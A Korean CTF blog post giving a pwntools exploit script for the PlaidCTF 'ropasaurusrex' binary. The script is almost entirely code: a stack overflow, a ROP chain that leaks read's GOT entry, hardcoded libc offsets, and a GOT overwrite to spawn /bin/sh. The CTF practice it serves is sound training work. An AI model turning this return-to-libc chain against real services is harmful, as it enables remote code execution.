Plaid CTF ropasaurusrex Expliot

2018. 5. 2. 22:330x07 CTF/[스스로 푼 것]

728x90

#!-*-encoding:utf-8-*-

from pwn import*

'''

rop 의 목적 : nx 및 alsr 우회

조건 1. system 함수가 필요하다

조건 2. binsh 가 필요하다


트리거 과정

1. system 을 구한다

2. binsh 를 구한다

3. 페이로드를 작성한다

'''

context.log_level = 'debug'

elf = ELF('./rop')

p = process('./rop')


read_plt = elf.plt['read']  # 함수를 호출하기 위해 plt가 필요하다

write_plt = elf.plt['write']

read_got = elf.got['read']

#elf = elf.plt['system']바이너리에  시스템이 존재하지 않아서 쓸 수 없다.

pppr = 0x80484b6 # objdump -d ./rop | grep -A3 "pop" 으로 찾아야 정확함 -> 삽질 존나했음

dinamic = 0x08049530

binsh = "/bin/sh"

# 실제 바이너리의 메모리에 libc 가 올라옴으로 libc 안에 있는 함수를 쓸 수 있다. return to libc



payload = "A" * 140 #sfp 까지 덮었따

payload += p32(read_plt)

payload += p32(pppr)

payload += p32(0)

payload += p32(dinamic)

payload += p32(len(binsh))




payload += p32(write_plt)

payload += p32(pppr)

payload += p32(1)   #pop

payload += p32(read_got) # pop  

payload += p32(4) #pop



payload += p32(read_plt)  #ret

payload += p32(pppr)

payload += p32(0)

payload += p32(read_got)

payload += p32(4)


payload += p32(read_plt)

payload += "AAAA"

payload += p32(dinamic)





p.send(payload)

sleep(1)

p.send(binsh)

sleep(1)

read_libc = u32(p.recv(4)) #libc_read leak


system_libc = 0xf7e47da0


log.info("read_libc = " + hex(read_libc))

log.info("system_libc = " + hex(system_libc))


offset = 0xf7ed8b00 - 0xf7e3dda0

log.info("offset = " + hex(offset))


system__ = read_libc - offset

sleep(1)

p.send(p32(system__))



'0x07 CTF > [스스로 푼 것]' 카테고리의 다른 글

0ctf_momo_3  (0) 2018.06.10
DEFCON CTF Qualifier 2018 ELF Clumber  (0) 2018.05.14
whitehat malloc  (0) 2018.04.14
defcon 2015 babyecho  (0) 2018.04.09
swamp return writeup  (0) 2018.04.08